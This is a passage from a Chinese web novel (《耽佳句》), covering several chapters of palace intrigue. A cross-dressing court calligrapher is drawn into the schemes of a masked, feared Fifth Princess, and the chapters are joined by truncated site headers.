似是真的愉悦,连浅浅的气息之间都含着细碎的笑。明明笑声清冽而好听,薛适却本能地想出声转开话题。 江岑许却先一步开口,语气中还潜着未散的笑意:“你是多恨袁敏达,这么大肆宣扬他想给本宫做面首这事?不怕他一出来就揍你么。啧,袁敏达也是,堂堂一个将军竟如饥似渴成这样,直接在佛骨前就开始做关于本宫的春梦,还真是会享受,本宫远远不及。” 曹御史的孙子怒极出声:“休得胡言!袁将军玉树临风,高洁傲岸,怎会看上你这荒淫无度的疯公主?” “是么?”阳光从江岑许金制的面具上流泻,点点光影如碎金,曳在她唇边冷艳的笑上,“这玉树,本宫折了又如何?前不久,袁敏达可是给本宫写了信,信上说……” 对上江岑许耐人寻味的目光,薛适忽地明白什么,只听熟悉的字句再度落下:“‘纵山川不可拥,我亦心悦你许久’。可见啊,”江岑许故作哀怜地摇摇头,“袁敏达苦恋本宫多年。你若不信,大可等他出来亲自去问。” “问就问!” < 6. 南风 《耽佳句》全本免费阅读 出乎众人意料的是,薛适竟没落得和张王李三待诏一样的下场,不仅十分顺利,五公主也没找麻烦。白天在崇文馆教导书法,晚上帮崇文馆一些人代笔,日子过得颇为充实。 只是薛适忙起来的时候要连着好几天晚睡早起,照镜子时都发现眼底青黑了一圈。 不过,翰林院的刘掌院看起来比薛适还要疲惫。 “掌院大人是有什么烦心事么?要注意休息啊,春寒料峭,最是容易感染风寒。” “哎,已经连着几日都睡不好了。”刘掌院重重叹了口气,“皇上打算在扬州建个离宫,虽然具体工期还没定,但约莫就在今秋。这不,正让我们想宫名呢。只是我跟工部礼部那边拟了好几十个圣上都不满意,这可如何是好啊。” “掌院别急,也许皇上只是想先多拟一些宫名准备着,后面再慢慢思量,这才一时定不下来。”薛适安慰了几句,见刘掌院眉宇间舒展不少,才又问,“不过,皇上为什么突然要建离宫呐?” “也不是突然,先皇后在时皇上就打算在扬州建了。比起长安,扬州文化气氛更浓些,建离宫方便圣上南巡,陪都作用亦可彰显。只不过先前因宫中事情繁多,才一直搁置。而今四海安定,前些日子皇上千秋,大皇子心细一直记得此事便提了一嘴,皇上也是这么想的,便下旨开始修建。” 两人又聊了会儿,已是散值的时间。 薛适一出门,就见宣凝郡主站在不远处,前来请教书法。薛适见她身边有侍从相随,想是不会同身为“男子”的她传出不好的流言,便应了下来。未曾想防不胜防,刚一出宫就被带上了马车,一路前往西市。 长安的西边热闹而繁喧,有来自扬州的糖蟹和蜜姜,也有出自关塞的烈酒和宝马,更有琳琅满目的异国珍宝。 薛适来长安后还是第一次来西市,只觉眼前是看不尽的繁华,长安是天下人的长安。 但她却难好好欣赏。 “薛待诏,你怎么东张西望的?能不能专心一点!”宣凝郡主一身男子装扮,正拉着薛适跟在一支波斯商队后面掩藏身形。 宣凝郡主此番并非求教书法,而是要她帮忙查探与萧侯世子萧乘风有书信往来的女子。 宣凝郡主可是安亲王唯一的女儿,若是出事,她死难其咎。 薛适只得暗中谨慎查看,以提前预判可能发生的危险。 “郡主,萧世子会武,我们跟踪他肯定早就发现了。” “那又如何?”宣凝郡主毫不在意,“我们的目的不是跟踪乘风哥哥,而是混进他常去的那家青楼,仿照他的笔迹找到勾引他的坏女人!”说着说着,她就悲伤地叹起气来,“乘风哥哥一定是被五公主影响了,他一向和五公主亲近……” 从波斯商队离开,走走藏藏间又转了几个弯,才到宣凝郡主口中那家青楼,游目院。 见萧乘风出来走远,两人才进。 老鸨虽略讶异,但还是热情招呼着:“二位公子想找几个人陪?” 宣凝郡主哼了声,拿着信纸的小手“啪”地一拍桌案:“刚走的那位公子是本少爷看上的!你这游目院连我的人都敢抢?去把勾引他的那个坏女人叫出来!” 薛适则在一旁不动声色环视。 游目院的生意似乎十分不错,房间传来的弹唱嬉闹不绝于耳,但薛适听着听着却觉有些不对。 “怎么,你还不信?”宣凝郡主见老鸨迟迟不说话,便将薛适模仿萧乘风字迹的信纸“刷”地甩出,“我已经发现他写给那女人的信了,这是他写给我的,你大可比对下字迹看看一不一样!” 忽地,薛适眼神一暗,拉起宣凝郡主就往外冲:“这里不对劲!” “关门。”老鸨却比她更快一步,冷笑吩咐。 眼见大门要被关上,薛适心一横,本能地就将宣凝郡主用力推了出去。 “薛待诏!”宣凝郡主还没反应过来发生什么,顿时被吓得不轻。隔着门,她身子直直往后栽去,但预想中摔倒的疼痛并未袭来,有人稳稳扶住了她。宣凝郡主刚想回头,就觉颈上一痛,晕了过去。 萧乘风神色复杂地看向怀中,对一旁站着的人愧疚道:“是我大意,没想到信会被郡主发现,幸好没让他们进一步硬闯,不然游目院的秘密就藏不住了。” 江岑许一身天水青的云纹锦衣,今日也做了男子装扮,虽脸上面具依旧,却像换了个人。 “宣凝一向在乎你,平日又常跟在你身边,发现也是难免的,不必介怀。” “那薛待诏要怎么处理?也不知道他到底是无心的,还是将计就计利用郡主过来打探消息的。他又是皇后那边的人,万一……” “试探一下不就好了?”江岑许无谓地笑了笑,“你带宣凝回去吧,该怎么哄住她自己想办法。” - 薛适一醒来,猛然撞进的就是双深邃如井的眼。细碎浅淡的笑意洒落其间,像是映射在古井水面的半块月影。 薛适缓了好半天,才勉强扯出丝笑:“公主殿下……怎么也在?” “薛待诏似乎搞错了,这是本宫的寝殿。”江岑许眼波流转,食指一圈圈缠绕着薛适胸前垂落的发带,“不过薛待诏很喜欢这,睡了一天一夜才醒。现在外面,可都在说你是本宫的面首。” “?”薛适强迫自己冷静下来,“是殿下……带我回来的?” “不用感谢本宫,本宫只是不想因你和宣凝郡主在游目院的事闹大,连累本宫以后都找不到寻乐子的好地方。”江岑许很是理所应当,挑着眼尾拖长语调道,“不过,薛待诏原来好男风啊,真是没看出来。又或者……你并不好男风,只是跟着本宫来的?” 当时宣凝郡主一心都在老鸨身上才没察觉。薛适却听得房间隐约传出男子弹唱的声音,再加上老鸨有些奇怪的神色,所以猜到游目院应是南风场所。看来翰林院众人说的公主常去的地方应该就是游目院了。但…… “殿下是怀疑我吧?所以留我在这。” < 7. 花笺 《耽佳句》全本免费阅读 泼墨深夜,月上梢头。 江岑许将涂着迷药的手清洗干净,朝身边吩咐道:“临辞,派些人盯着,多留心她这段时间会接触什么人。还有,她的衣服也给她拿过来吧,我之前搜过了,没藏东西。” “是。” 江岑许看了眼榻上沉睡的人,转身走了出去。 宣微殿依旧如传言般夜夜笙歌。只有月亮知道,奏乐弹唱之下是无数次的剑声铮铮,那袭身影翩然飞掠。 剑身挥动间映着金色的面具,千叶莲的形状像是刀光剑影的具象,鬼魅而肃杀。 不过薛适却丝毫未觉,一夜好眠。 第二天醒来时,她恍惚了很久,感觉像被人平白抽走了一段记忆,想不起后面的事,也记不得自己是怎么睡着的,该不会……她忙看了眼身上的衣服,见中衣还在,顿时松了口气。 只要江岑许不脱她衣服,她不过是和一个比自己大点的姐姐睡了一觉,这么一想,薛适放心不少。 照例去翰林院点卯,果然如她所料,一进门就被众人围了上来。 “薛待诏,你……还好吗?” 尽管薛适从小博览诗书,但也不知该怎样形容眼下的处境,只道:“劳诸位挂念,别担心。” “那就好那就好。” 众人松了口气,但见薛适笑容依旧,不免都有些好奇:“薛待诏,你主要都做些什么啊?” “?”薛适差点没控制住表情。翰林院的人什么时候这么直白了,这是可以说的吗…… “五公主有没有欺负你?” “那个……” “她认真吗?每次坚持得久不久?” “??” “真没想到,五公主有一天也会这般主动。但宫中现在都说,五公主是看上了薛待诏想要你做面首,所以才跟皇上提的。不过见薛待诏一切如常,我们也放心了。” “等等,”薛适终于意识到了不对,“五公主……跟皇上提了什么?” “嗯?你不知道吗?”见薛适确实毫不知情,有人解释道,“你现在被遣去宣微殿教导书法,是五公主亲自跟皇上提的,说自己的字不堪入目,想让薛待诏专门教导,宫中上下听得这个消息后无一不震惊,因而有人说,五公主让薛待诏教导书法是假,想让薛待诏做面首才是真。不过见薛待诏依旧笑如春风,这传言估计很快就不攻自破了。” “薛待诏,有你在啊,咱们翰林院终于能在五公主面前抬起头了。” 薛适大概明白了江岑许打的主意。 江岑许借着她书待诏的身份,说自己要学习书法,既把她留在了身边方便观察,又因与平日作风截然不同的举动悄无声息地引发了养面首的传言,真真假假,无人能完全猜出江岑许的真正目的。 而江岑许只要观察此事发生之后,会有谁来找薛适,找她会做什么,是否有疑点,就能从中推测出那日薛适去游目院有没有人指使。 薛适的心情颇为复杂。如此缜密而深沉的心思,步步算尽,真的只是为了能继续去游目院寻欢作乐吗?五公主……真的只如表面那般简单吗? 事实也确实如江岑许所想,不少人都在这之后找过薛适。 再次散值后在翰林院门口看见宣凝郡主,薛适险些转身就走,游目院的事给她带来的阴影实在太大。 “抱歉薛待诏,那日是我太任性了……”宣凝郡主红着眼,声音里都带着哭腔,“幸亏你没事,不然我会愧疚一辈子的。” 薛适见不得这种场景,故作轻松地笑了笑:“那日之事实属意外,怎能怨郡主?对了,郡主后来是怎么回去的?” 宣凝郡主小脸一红:“是……乘风哥哥的人发现了我,他说见我一个人那么晚出宫,担心我有危险,就派人暗中保护我。都是我不好,乘风哥哥对我这么好,我却怀疑他……”游目院之后,宣凝郡主整个人都安静了不少,她微蹙着眉头,“我是不是该给乘风哥哥写一封信表示歉意呐,薛待诏有什么建议吗?” 于是,江岑许就看见薛适带着宣凝郡主一起回了宣微殿。 “这是把本宫的宣微殿当自己家了?不经本宫允许,什么人都往回带?” 宣凝郡主顿时急了:“江岑许,本郡主怎么就成什么人了!” 薛适一个头两个大,赶忙笑着打圆场:“殿下不是要学书法嘛?刚好郡主也有信要写,我给你们做一些纸。” 江岑许刻薄道:“什么信还要亲自做纸?郡主该不是写给本宫未来驸马萧乘风的吧?” “你……” “说是写给亲王的,郡主想给安亲王殿下一个惊喜。对不对?”薛适朝宣凝郡主眨了眨眼。 宣凝郡主瞬间理会,朝江岑许理直气壮道:“对!我写给我爹,你有什么意见?” 薛适之前因着有几个代笔觉得用自己做的纸写更合适,所以已经收集好了要用的东西,只是被游目院的事给耽搁了。 她将早已用水浸泡过的黄檗和皂斗各自加火煎熬,又取出胭脂加水浸出代表威严、尊贵和吉祥的妃色,然后将黄檗、皂斗和胭脂浸制出的染汁分别用大盆盛装,再将原始的白色纸张依次入盆拖染。 那抹青色的身影忙忙碌碌,清丽而生机。江岑许在一旁静静看着,想来她之前送到大福殿的那张信纸就是这么制的,原是如此繁琐,从一开始在橙红夕阳下和宣凝郡主一起,到最后皎皎月色间独自专注。她始终悠悠转转地做着,繁琐好像也成了她眸中期待和欢欣的留痕。 薛适这次做了很多种颜色备用,将染好的纸一一铺在横杆,等晾干后便能用了。 “殿下?您还没去休息呀。” 夜风吹曳着垂晾的纸笺,薛适看见江岑许站在其间,面容时隐时现,不免有些意外。 “怪不得眼底青黑,原来都把精力用在了这些无用的事上。”江岑许嘲弄地笑了声,“连帮宣凝郡主给萧乘风写信都这么用心,你该不会想挤掉萧乘风,做本宫的驸马吧?” 她果然不信是写给安亲王的,真是难骗啊。 “殿下误会了,我只是觉得郡主这个信用自己制的纸写更合适。而且,殿下不是想学书法吗,用些不一样的纸,殿下学起来心情好。” “你倒是会替本宫考虑。”明明是好话,薛适却觉得语调怪得很。 江岑许抬手扶住了眼前被风吹曳的纸笺,面容再次被遮掩,薛适只能听见江岑许的声音带着危险的意味,分不清是警告还是威胁:“薛待诏,在这宫中,你最好安分点,别太张扬。与其整日想本宫会不会误会,不如猜猜你哪天要是死了,会是因为什么。” 怎么动不动就说她会死呐。 薛适想了想,踌躇道:“殿下你是不是吃萧世子的醋了?你别担心,郡主只是表达一下歉意,毕竟是萧世子把郡主从游目院带回来的……” “殿下?” 对面迟迟没有传来声音,薛适等了等,才轻轻掀开了纸,发现早已空无一人,只余满地月影。 接下来几天,江岑许都没有放她离开宣微殿的意思,她要教书法也被对方以各种奇奇怪怪的理由给拒绝了。 薛适虽然每天过得战战兢兢,但日子倒是如常,除了睡得比以前都好让薛适有点意外。 这日,薛适照常去蓬莱殿给明皇后送抄写的佛经,恰好昭景帝和明相也在。 “朕看人的眼光果然不错,没想到薛待诏不仅能让朕的五公主苦练书法,就连宣凝也对薛待诏的本事赞不绝口。她们俩一向肆意妄为,最是让朕 8. 莲鹤 《耽佳句》全本免费阅读 江岑许眼看着身旁的青衣身影双颊瞬间变得更红,却仍若无其事地弯着一双笑眼,故作平静地同她道:“那……臣念一句,便教殿下写一句?” 今日蓬莱殿上,明相轻飘飘一句话引得父皇去崇文馆检查课业,也是借机想要试探她这段时间是真的在练习书法,还是另有目的。如此看来,那日薛适去游目院应不是明相授意,江岑许也就由着薛适自己折腾,嗯了声:“薛待诏好雅兴,甚有做面首的觉悟。” 薛适已经对面首的说辞无所谓了,她决心练就一张比砚台都硬的脸皮,眼下没有什么是比保命更重要的。 “你这是做什么?”看着薛适从怀里拿出个面具戴在脸上,江岑许微微一愣。 薛适笑着指了指脸上的仙鹤面具:“臣想着殿下写字时或许有不一样的视线,便想戴上面具经历和殿下相同的视角,也能更好教导殿下。” 薛适坐在江岑许身旁,耐心道:“习字之前,先要端正姿势。若是坐着,椅子的高度应与膝盖差不多平齐,要保证两脚踏稳地面,不会悬空虚浮。如果是站立……”薛适站起身,示范道,“两脚张开应与肩同宽,上身要微前倾些,腰背挺直,腹部微收。” 江岑许虽看着一脸不感兴趣的样子,但却做得很好。薛适这才接着往下教道:“然后是执笔的姿势。殿下你看,我们要用五指的这些部位发力……” 薛适没想到江岑许悟性这么高,只说一遍就已做得极为标准,如此看来很有可能通过昭景帝的查验。薛适虽放心不少,但进度这么快,眼下就该念自己写的那首诗了…… 薛适最后看了下江岑许的坐姿和她握笔的姿势,见都没问题后,轻轻开口。 “ 华妆为谁卸,罗帐为谁掀。 挥袖解衣带,叠影缠幕帘。 香汗拂柳腰,回身情颠倒。 红梅落玉榻,共枕相拥眠。” 这般香艳的诗句,被薛适温和舒缓的声音娓娓说着,不经意间添上了几分缠绵与柔情。 江岑许微微侧身,想要看看薛适的神色,却见她轻抿着唇畔,只专注地看着自己笔下的字迹,浅浅的梨涡像是酿酒的月亮,似乎颇为欣喜的模样。 察觉到江岑许的视线,薛适回眸看她,视线相交间,她笑着握住江岑许的手:“殿下,你放松点。”平日系在额上的白色发带此刻被她缠在手间,以避免“男女”直接相触,保持礼节。 她弯了弯眼,梨涡里的月亮转而落在那双如水的眼眸之中,江岑许听到身边的人轻声问道:“殿下喜欢这样的方式吗?” “尚可。” “薛待诏如此用心,便用此诗再谱首曲子吧,本宫刚好听腻了以前的,换了这个好让人学了夜夜弹唱。” 爱养面首,夜夜作乐的荒唐公主理应如此。薛适却一个失神脱口问道:“殿下……真的喜欢吗?” “莫非薛待诏还有其它更有趣的法子?” “……没有,殿下喜欢就好,臣也就放心了。” 因着一连数日薛适都是在崇文馆和宣微殿两边跑,午间回到翰林院整理典籍时,便不小心趴在桌上睡着了。 长久无梦好眠,这个午后,薛适却久违地做了个梦。 她梦到再次和宣凝郡主踏入游目院,穿过歌舞喧声的回廊,越往深处,歌舞声越小,直到走至尽头,刀剑碰撞的练武声气势昂扬。而身着宫装戴着千叶莲面具的女子淡然坐于其间,见她过来,勾了勾手:“不知怎地,本宫这字怎么写也写不好。” 她很疑惑。因为那女子明明姿势端正,笔起笔落间看似生疏,实则颇有章法,怎会写不好。但她还是走过去,握着女子的手同她一起书写。她看见女子应是养尊处优的手上却有老茧若隐若现,突然之间笔身横空化作女子手中紧握的利刃,直戳她的心口。 女子站起身,裙摆一瞬绽开大片大片的千叶莲,那般耀眼的金色,像是大明宫也遮不住的日晖。 女子狠狠拔出插在她心口的利刃,一字一顿缓缓开口:“薛待诏,你说……你知道了什么?” …… “薛待诏?小表舅!” 薛适醒来时,感觉自己像是被从水里捞了上来。她浑身是汗,江抒见她这副样子忙担忧地问:“是做噩梦了吗?怎么吓成这样。” 薛适摇了摇头:“四皇子找我有什么事吗?” 见薛适神色间似乎并未异样,江抒才开口:“奚公公送我的鹦鹉昨日死了。明明我答应过奚公公要好好照顾阿画,但他还是死了。”江抒难过地长叹一口气,“小表舅,你能不能帮我给奚公公写一封信表示歉意呐?你也知道,奚公公毕竟是父皇最信任的贴身宦官,与我们这些皇子相处过密,怕传出不好的猜疑,便不能用我自己的字迹写了。” 江抒虽身为皇子,但性情却很单纯。薛适每次去蓬莱殿见明皇后,都会听皇后笑着说,抒儿哪日哪日偷偷背着皇上养了只小猫,还每天给小猫背《资治政要》;哪日哪日又调皮地把厨房的鱼给放生了;又或者哪日哪日特意溜出宫,只为去西市买些有趣的玩意逗她开心…… 薛适听了江抒的话后也放松不少:“好,四皇子放心。” 照例去蓬莱殿给明皇后送些经书,说起此事来,皇后的嘴角也是难掩笑意。 “奚公公真是有心了。那鸟还是皇上赏的,好像是波斯进贡。”明皇后回忆着,“不过奚公公对鸟啊粉尘什么的都过敏,春日尤甚,只好送给了抒儿。” 两人又聊了些其它,明皇后再三嘱咐薛适万事小心,尤其这代笔的名声在宫中愈甚,行事还是低调为好,薛适一一应下。 这番下来,薛适回到宣微殿时已经过了平日与江岑许约定的练字时间。 刚进门,薛适迎面就看见不远处假山前的一人被五花大绑,嘴里塞满布条,腮侧鼓塞,唇边在不断挣扎中同粗糙布条摩擦出血痕。那人目眦欲裂,沉如死水的乌黑眼珠咕噜噜转着,恐慌而愤怒地盯着边上侍从举起的剑。侍从姿态坚定,摆明了随时准备扬手落下。 薛适一愣,向前的脚步愈加沉重和迟疑,最终原地站定。 她记得这人是几天前才来的面首之一,如今是因何才会落得如此境地?探究地朝举剑侍从旁,正镇定自若站着的江岑许看去,只见她唇角笑意姝丽张扬,像是永不凋谢的罂粟,危险却魅人。 “你骗本宫说薛待诏今日会晚来,可怎会呢?薛待诏日日都十分守时,从不迟到。啧,敢跟本宫撒谎的人——该杀。” 剑下人呜呜咽咽发出有如蚊蝇般的叫声,但布满如蛛血丝的眼睛却像是盯着一个不可理喻的疯子,恨不得眸光化刃立斩此人。江岑许却是不以为意,她慢条斯理地移开目光,偏头迎上几步外已微微发抖僵在原地的薛适,眉梢稍抬,偏头,笑了。 薛适竭力握手成拳,指甲刺痛掌心,她拼命反应着眼前的状况。 只是因为她今天迟了约定的时间,所以江岑许就要随意杀掉一个与此毫不相关的无辜之人吗。 因为,她在生气,在……警告她吗。 这是她的泄愤,也是她未来的下场…… 眼看着剑就要落 9. 思意 《耽佳句》全本免费阅读 “公……公主殿下?” 在薛适房间外逡巡的面首忽闻身旁脚步声由远及近,赶忙抬头查探,却见本以为在房内的薛适,此刻被五公主横抱了过来,一时间有些愣怔。 “怎么?”江岑许微微侧了侧身,将那道投向薛适的视线遮蔽严实,转而淡淡看向面前一脸惊诧之人,“只允许男人抱女人,不允许女人这般抱着男人?” “不……不是……” “那还待在这做什么?是想要和薛待诏一起伺候本宫?” 那面首生怕江岑许一个不高兴,自己也被当场砍脑袋,赶忙连滚带爬地离开了。 直到深浓夜色下,他的身影掩于暗处,几个跳跃间,落在了另一重殿阙中。 “怎么只你一人,拂声呢?” “见过大皇子,拂声他……因向五公主禀报了薛待诏回晚的事实,五公主不相信,一气之下就……杀了他。” “呵,说杀就杀,还真是巧啊。”江接咬牙切齿地道,“这几天查得怎么样了?” “卑职见五公主似乎很喜欢薛待诏,除了练习书法,应是想留他做面首。” “不可能!绝不会那么简单!”江接还没开口,终于解了禁足的袁敏达先一步出声。 “拂年你先下去吧,回去继续盯着。” “是。” “坐下慢慢说。”江接给袁敏达倒了杯茶,“这是曹御史特地给本王寻来的蜀地蒙顶,敏达尝尝口感怎样。你禁足这么久,受累了。” 说到这事,袁敏达就来气:“按照张待诏王待诏李待诏几个之前说的,五公主愿意看才子佳人的话本,我就想着给她写情笺她肯定喜欢,还特地找了代笔斟酌字句,长此以往她动心了没准就自己退了和萧乘风的婚事,答应嫁给我。 而且除夕夜那天我约她去大福殿见面,她也同意了。我连桃凝香都准备好了,本想着让羽林军的人巡逻时撞见,再搜出我们来往的书信,佛骨在上,这婚事不结也得结了,谁想到……” 袁敏达死死捏着茶杯,恨不得直接捏碎,“她竟是有备而来,给我酒里下了迷药害我当众出丑不说,还在宫中大肆扬言我要给她做面首!如此恰到好处的巧合,怎么可能只是一个不谙世事什么都不懂的刁蛮公主?五公主肯定不简单!” 江接的脸色也不太好看:“咱们的人被小五赶走后,才新来了薛待诏,还是皇后的表弟。而且小五这次居然一反常态,不仅没赶走他,还和父皇说要跟着薛待诏苦练书法,我这才叫拂声拂年去查探。” “大皇子,现在绝不能小瞧五公主,从前的那些搞不好都是她的伪装! 别忘了,她的母亲可是前皇后许烟,曾被先皇断言才华不亚于她自己的人。五公主的兄长又是前太子江执,生前深得皇上看重,虽然前皇后和前太子如今死去已久,但谁能保证五公主不是卧薪尝胆,暗藏野心? 就怕她知自己势单力薄,所以借着薛待诏先和明相联手对付咱们,无论是当面首还是练书法,都是幌子。” “敏达此言有理,春蒐在即,我们正好可以试探一番。”江接没想到江执死了,还有他妹妹阴魂不散,看着疯疯癫癫,却时不时坏他好事。 “对了,之前你说觉得有人跟踪,怕被发现就随手把装着信的盒子给了摊上的代笔人,可确认有无销毁?” 袁敏达也想起了此事:“后来因着我被禁足,皇上的人看得紧,我也没来得及再去。不过肯定销毁了,那盒子只要一打开,里面的信件当场就会燃烬,应该没问题。” 江接点点头:“但我明日还是再派人去看看为好,离宫修建在即,我们的目标也更近一步,凡事需多加小心。” …… 萧乘风来到宣微殿时,就看见江岑许背对着他,正挡在薛适身前,连啧啧了好几声:“怎么着,还真把他当面首了?” “我只是不想把无辜的人牵扯进来。” 江岑许刚刚抱着薛适从树上跳下时,不小心把薛适束发的笔刮掉了。江岑许握着那支笔几下给薛适重新束好了头发,才转身对萧乘风应道。 “那你还吓唬他,估计吓得不轻,得以为只是迟来,就能让你气得杀了个人。” 江岑许笑了声:“她看着不聪明,其实心思细得很。天天离我这么近,再不吓唬吓唬,被她识破可就不好了。这样江接送来的人也算死得其所,刚好另一个留着给他传消息。” “你还真是会安排,江接知道了不得气得吐血。”萧乘风笑出了声,“看你对薛待诏还算可亲,这些日子是探出他是谁的人了?” “目前看来还真是被宣凝带去的游目院。”江岑许想了想,“虽然她和明家有亲戚,但或许她和谁都不是一起的。等父皇来崇文馆查验过后我就放她离开,在这儿还得夜夜给她下迷药,免得发现什么。” 萧乘风见江岑许都这么说了,也就没再多问。 “不过,袁敏达一出来就去见了大皇子,俩人现在指不定怎么怀疑你呢。” “我这身份,除非我死,他们才会放心。”江岑许的神情掩在背光的阴影之下,看不清晰,只听得声音过分平静,“又是一年春蒐,父皇却迟迟没立太子,但他的儿子们却已经长大了。” - 薛适这几日都醒得极早,好尽快把事情做完,生怕哪天回晚了江岑许会再杀人。 她摸着有些酸痛的后颈,实在搞不懂五公主为什么突然要敲晕她,会和那个面首有关吗?薛适并未细想,她现在只想安然度过这段时间,然后一定要离五公主远远的。 早起到翰林院,薛适开始动笔写江抒的道歉信。 她选了上次制作的偏鹅黄色的纸,希望无论是江抒还是奚玄看到之后,最先记起的不是阿画离开的伤心,而是被他陪伴过的那段生机勃勃的时光,如这样的黄色一般,明媚而鲜活。 她可以掩盖真实的字迹,但不能磨灭背后的书信人想要传达的思意。 薛适将自己代入成江抒,脑中是那天他提起此事的神情,好像江抒此刻就在她眼前说话一般。 薛适不由笑了笑,落笔书写。 [宫里的天空简直就是倒过来的囚笼!好看的花都不愿意在这儿开,欢腾的动物也不想进来,真得很是无趣。 幸有阿画相伴,他会听我谈经论道,会看我饮茶作画,还会对我说‘阿画阿画,殿下殿下’,我便也愿意每天在这无趣的宫里多待上一待。 可是,离别猝不及防,阿画他不在了……虽然再也听不到他的声音,但每一处又好像仍有他的身影。 很抱歉辜负了你的好意,没有照 10. 甜梨 《耽佳句》全本免费阅读 薛适将写好的信给江抒送去,江抒看了后甚是满意:“小表舅,你太懂我的心意了!你是不是也觉得宫里无聊得很?哎,阿画真的是很特别的鹦鹉,可能再也找不到和他一样的了……” “宫中是很无聊,但我们可以怡然自乐嘛。”薛适笑着安慰,“四皇子要是觉得可以,那我一会儿便给奚公公送去。” “好。诶等一下!”江抒转身去后面的书架上拿了个盒子,“放到这里面吧,也好拿一些。” 看到这盒子,薛适惊得险些没拿稳:“这个盒子……” “小表舅喜欢?那回头我把自己留的那个送你。” “其实,我有一个一模一样的……” “这怎么可能?”江抒讶异道,“这花梨木盒可是我去西市一个胡商那儿买到的,一共只有五个都让我买下了,我自己留了两个,其余的一个给了母后,一个给了大哥,还有一个给了二哥。那胡商后来因妻子病逝早离开了长安,难不成他现在回来了?” “应是我看差了,只是……颜色有点像而已。” 薛适将信送到奚玄手里后,立马回到房间,将入宫之后就未拿出的盒子翻了出来。 这一下,薛适彻底愣住了—— 盒子被人换过了! 她刚收到这个盒子时,因对方给得急,接过时不小心磕了下,所以上面有一个浅浅的刮痕,但现在这道刮痕没有了。 薛适忽然想起,初次见面时江岑许突然抱了她。 难道……盒子就是在那时被江岑许换掉了? 可薛适想不通,江岑许为什么要换掉盒子,那盒子里究竟有什么?如果很重要,为什么袁敏达会随手送给陌生的自己?除此之外,四皇子给出的人里并没有袁敏达,那盒子又是怎么落在袁敏达手里的? 薛适觉得自己不能再往下想了,她面临的危险已经够多。女扮男装入朝为官;发现了江岑许似乎会武而且好像在借游目院培养兵力;再加上现在这个迷雾重重的盒子…… 一时间,薛适突然感到头有些昏沉,嗓子也痛得厉害。她使劲摇了摇头,一边安慰着自己,一边向宣微殿走去。 就当作什么也不知晓,谁还能把她的脑子剖开?只要装得够像,就没人会发现,也不会杀了她。 - 此时的宣微殿内,江岑许看着手中的纸,眸色晦暗不明。 “这是薛待诏走后奚玄看的信?” 之前被派去盯着薛适的人应道:“是。虽没看清薛待诏给的是什么,但薛待诏走后,奚公公就是读的这两封信。 先前薛待诏见过的人只有四皇子、皇后和二皇子,所以应该是替他们写的,属下就趁奚公公不注意,潜进去把这两封信的内容抄了下来。” 其中一个的内容,就是薛适替江抒写给奚玄的那封道歉信,还有一封的内容却是: “ 春日多粉尘,见你咳疾又犯,我心难安。 转眼多年,虽数次不甘止于相望,但也幸,岁岁如故,你于我眼前。” 江岑许将纸张焚烧干净,烛火明明灭灭,化不开她眸底寒冰。 原来如此。 七岁时,母后那身红艳的宫装穿在了另一个女人身上,她比母后年轻,入宫那年就已诞下皇子,五年后的现在已是头戴凤冠,但那一双眼却沉寂无光。 明皇后款步走到她面前,轻微呢喃着她那时听不懂的话:“太多人想要许皇后死。而我,也有一定想要保护的人……” 江岑许看着那团灰烬久久不能回神,外面一道声音带了些沙哑却又欢快地传入耳畔,将她拉回了现实。 “殿下殿下,你看我给你带了什么过来!” 江岑许看向门口,戴着仙鹤面具的青衣身影几步跑过来,嘴角还勾着丝明快的笑意。 薛适端着个秘色瓷碟,递给江岑许:“这是我和后厨的大娘一起捏成的,殿下看看是不是和你的……玩偶还挺像?如果殿下不开心了,就直接……一口吃掉。” 薛适自己说完都起了一身鸡皮疙瘩。虽然将玩偶做成小糕点很美味,还不用杀人,但一口吃掉听起来是真的很瘆人呐。不过要是能以此吸引江岑许好好练字,再瘆人她也做。 “原来薛待诏也感兴趣?”江岑许已敛去眸中情绪,又恢复了平日的样子。她从一旁的小几上随手拿起个人骨玩偶,在薛适眼前挥了挥,“别急,到时候给你也做一个。” 这话听着有歧义啊。 可无论是说要做一个人骨玩偶送给她,还是把她做成人骨玩偶,都不是什么美好的事…… 薛适面如死灰,赶忙转移话题:“殿下先尝尝,不知你爱吃什么口味,甜的咸的各做了一半。” 江岑许垂头看了眼,碟子里的小面人或撇嘴委屈或咧嘴大笑,一个个憨态可掬,甚是可爱,与她的人骨玩偶完全不是一个画风。江岑许笑了下,拿起一块递到口中,微微点了点头:“味道还不错。但是玩偶,一定要用人骨,才有趣。” “……” 薛适有些崩溃,怎么话题又绕回来了呐。 “薛待诏那日回晚了,今日又见了些不该见的人,你说……”江岑许端走了薛适手中的瓷碟,微歪着头,神色既苦恼又纠结,“本宫该用薛待诏磨个什么样的人骨玩偶呢?” 薛适忍不住往后退了退:“那日来迟是臣的错,随殿下惩罚。可是今天,臣并未来迟。至于不该见的人……臣听不懂殿下的意思。” “二哥和四哥就算了,见奚公公是怎么回事?”江岑许步步紧逼,“薛待诏是想通过奚公公和父皇说些什么吗?” 见江岑许是这样想的,薛适暗自松了口气:“绝无此事!臣今日见奚公公,只是为了……替四皇子传句话,没有其它。” “本宫还以为是替皇后传的。” 薛适骤然收紧了手心,心跳得飞快,连带着喉咙的涩痛也愈加厉害:“怎么会,娘娘和奚公公又不熟,何须臣去送什么话。” 江岑许默默注视着薛适的神情:“薛待诏这就说错了。本宫记得皇后刚进宫时,大大小小的事都是奚公公帮着打点的。这么想来,两人算是认识多年。” “原是如此。臣没听娘娘提起过,所以不太清楚。” “咣”地一声,薛适终是再无可退,被抵到了床榻,江岑许站在床前,冷冷看着她,沉凉开口:“薛待诏的靠山还真不少。父皇、明相、二哥、四哥、皇后,好像都蛮向着你的。现在又多了奚公公,真是不好杀呢。” “其实殿下……也是向着臣的吧?”薛适怕江岑许继续问她关于明皇后和奚玄的事,索性把话题引到了自己身上,“每一次说要杀臣,但是殿下,终究都没动手。” 薛适刚说完,就止不住地低头咳嗽起来。江岑许皱了皱眉,上前一步,右手压上了她的后颈,迫得她不得不仰头与之对视。 “薛待诏不过给本宫当了几天面首,就这么自作多情了?”江岑许凑在薛适耳边,声音极冷,“要 11. 冰心 薛适意识恢复时,只觉浑身疼得厉害,她动了动身子,手脚被人捆得死紧,嘴里也被塞了布条。 她观察了下四周,房间狭小而空荡,布置十分简单,只有一张桌子和一个床榻,她正靠在桌子对面的墙角处。 薛适竭力压制着内心的恐惧,一点点放缓呼吸,闭眼接着装晕,耳朵却是仔细聆听着外面的动静。 有人走了进来。 